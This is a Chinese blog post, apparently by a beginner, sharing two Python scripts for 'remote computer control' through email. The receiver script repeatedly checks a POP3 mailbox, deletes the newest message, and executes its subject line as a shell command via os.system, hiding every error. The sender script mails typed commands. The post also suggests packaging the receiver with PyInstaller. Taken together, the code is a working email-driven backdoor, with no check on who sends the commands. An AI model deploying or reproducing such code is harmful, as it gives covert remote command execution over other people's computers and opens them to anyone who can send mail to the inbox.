標籤:一個 [1] 返回 str continue 遠程 smtp 郵件 尋找
初習,代碼有不足之處,歡迎指出。
跟大家分享的是,通過發送端發送cmd命令,從而對接收端進行cmd命令的控制。
1 #接收端代碼 2 from poplib import POP3 3 import time,os 4 while True: 5 try: 6 f=POP3(‘pop.163.com‘) 7 f.user(‘[email protected]‘) #郵箱號 8 f.pass_(‘授權碼‘) 9 a=f.top(1,10) #讀取第一個郵件的前10行,返回的是一個元組10 r1=a[1] #取元組的第二個列表11 for i in r1:12 X=bytes(i).decode(‘ascii‘) #將位元組碼轉換成字元碼13 if X.find(‘Subject‘)==0: #尋找標題14 y=X[8:len(X)].strip()15 f.dele(1) #刪除郵件16 os.system(y) #主要目的,執行的命令17 f.quit() # 退出郵箱18 time.sleep(5) #等待5秒鐘繼續串連郵箱19 except:continue
#發送端代碼import smtplib,timewhile True: try: f=smtplib.SMTP(‘smtp.163.com‘) f.login(‘[email protected]‘,‘授權碼‘) shu = input(‘輸入指令,按空格退出:‘) #這裡是接收輸入的命令 if (shu==‘ ‘): break mm=(‘To:[email protected]\r\nFrom:[email protected]\r\nSubject:%s\r\n\r\nw\r\n‘%shu) #郵件裡顯示的內容,To:收件者,From寄件者,Subject主題,內容 f.sendmail(‘[email protected]‘,‘[email protected]‘,mm) #寄件者,收件者,發送內容 f.close() except: print(‘出現不明錯誤,等待5秒繼續輸入!‘) time.sleep(5) continue
可以通過pyinstaller.py對檔案進行打包,這樣使用起來就更加方便了。
Python3 利用POP3與smtplib進行電腦遠端控制